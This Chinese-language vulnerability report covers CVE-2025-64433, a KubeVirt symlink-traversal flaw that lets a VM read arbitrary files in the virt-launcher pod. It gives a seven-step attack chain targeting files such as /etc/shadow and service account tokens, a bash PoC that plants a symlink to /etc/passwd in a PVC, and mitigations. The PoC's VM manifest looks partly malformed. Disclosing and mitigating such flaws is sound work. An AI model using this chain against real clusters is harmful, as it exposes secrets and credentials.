IPBUF安全漏洞报告
English
CVE-2025-64433 CVSS 6.5 中危

CVE-2025-64433 KubeVirt符号链接遍历导致任意文件读取漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64433
漏洞类型
符号链接遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
KubeVirt

相关标签

符号链接遍历KubeVirtKubernetes虚拟化安全文件读取权限绕过CVE-2025-64433libvirtPVC挂载容器安全

漏洞概述

CVE-2025-64433是KubeVirt虚拟化管理插件中的一个中危安全漏洞,CVSS评分6.5。该漏洞允许恶意虚拟机读取virt-launcher pod文件系统中的任意文件。问题根源在于挂载PVC磁盘到虚拟机时不正确的符号链接处理机制。攻击者如果能够控制PVC内容,可以创建指向系统敏感文件的符号链接,利用libvirt将常规文件视为块设备的特性,绕过安全限制读取目标文件。虽然KubeVirt有安全机制让VM以非特权用户(UID 107)运行,但漏洞利用了文件挂载前的所有权变更机制,使得攻击者能够突破权限限制,成功读取pod内任意文件。该漏洞影响KubeVirt 1.5.3之前和1.6.1之前的所有版本,已在1.5.3和1.6.1版本中修复。

技术细节

该漏洞涉及两个相互关联的安全缺陷。首先,在PVC磁盘挂载过程中,KubeVirt不正确处理符号链接,允许恶意PVC内容指向virt-launcher pod内的任意文件。libvirt组件会将常规文件当作块设备处理,使得通过符号链接指向的文件可以被挂载到虚拟机中。其次,KubeVirt在挂载文件前会将目标文件的所有权强制更改为运行VM的非特权用户(UID 107),这个操作绕过了正常的权限检查机制。攻击者利用这两个缺陷的组合:首先创建一个指向目标文件的符号链接(如/etc/passwd或Kubernetes secrets),然后通过正常的PVC挂载流程,libvirt会跟随符号链接并将其指向的文件作为块设备挂载。由于所有权变更发生在挂载之前,原本无权访问该文件的UID 107用户可以在VM内部读取其内容。这种攻击方式特别危险,因为virt-launcher pod通常具有较高的权限,pod内可能存储有Kubernetes service account tokens、配置文件和其他敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获取Kubernetes集群访问权限,能够创建或修改PVC(PersistentVolumeClaim)资源
STEP 2
步骤2
攻击者在PVC内容中创建符号链接,将链接指向virt-launcher pod内的敏感文件(如/etc/shadow、/var/log/kubelet.log或service account tokens)
STEP 3
步骤3
攻击者创建虚拟机实例并挂载包含恶意符号链接的PVC
STEP 4
步骤4
KubeVirt在挂载前将目标文件所有权更改为UID 107(VM运行的非特权用户),绕过权限检查
STEP 5
步骤5
libvirt跟随符号链接并将目标文件作为块设备挂载到虚拟机中
STEP 6
步骤6
VM内部以UID 107权限成功读取原本无权访问的文件内容
STEP 7
步骤7
攻击者通过VM的网络访问或控制台获取读取到的敏感文件内容,可能包括Kubernetes secrets、配置文件或其他pod的敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-64433 PoC - KubeVirt Symlink Traversal File Read # This PoC demonstrates how a malicious PVC can read arbitrary files from virt-launcher pod # Step 1: Create a malicious PVC with symlink pointing to target file echo "Creating malicious PVC with symlink..." cat << 'EOF' > malicious-pvc.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: malicious-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 10Mi storageClassName: standard EOF # Step 2: Create a pod that writes symlink to PVC cat << 'EOF' > exploit-pod.yaml apiVersion: v1 kind: Pod metadata: name: exploit-pod spec: containers: - name: exploit image: busybox command: ['sh', '-c', 'ln -sf /etc/passwd /mnt/target && sleep 3600'] volumeMounts: - name: pvc mountPath: /mnt volumes: - name: pvc persistentVolumeClaim: claimName: malicious-pvc EOF # Step 3: Create a VM that mounts the malicious PVC cat << 'EOF' > malicious-vm.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: malicious-vm spec: running: true template: spec: domain: devices: disks: - name: malicious-disk disk: bus: virtio filesystems: - name: maliciousfs virtiofs: {} volumes: - name: malicious-disk persistentVolumeClaim: claimName: malicious-pvc containers: - name: exploit volumeMounts: - name: maliciousfs mountPath: /hostfs EOF # Step 4: Read the file from inside the VM echo "Accessing the symlinked file from VM..." echo "Expected: Contents of /etc/passwd from virt-launcher pod" # References: # - https://github.com/kubevirt/kubevirt/security/advisories/GHSA-qw6q-3pgr-5cwq # - https://github.com/kubevirt/kubevirt/commit/09eafa068ec01eca0e96ebafeeb9522a878dbf64

影响范围

KubeVirt < 1.5.3
KubeVirt 1.6.0
KubeVirt < 1.6.1

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1)严格限制谁有权创建或修改PVC,实施基于角色的访问控制(RBAC);2)监控virt-launcher pod的文件系统访问日志,检测异常的文件读取行为;3)使用NetworkPolicy限制VM的网络访问;4)避免在virt-launcher pod中存储敏感信息;5)考虑使用Pod安全策略限制pod权限;6)定期审计Kubernetes集群中的PVC和VM资源使用情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表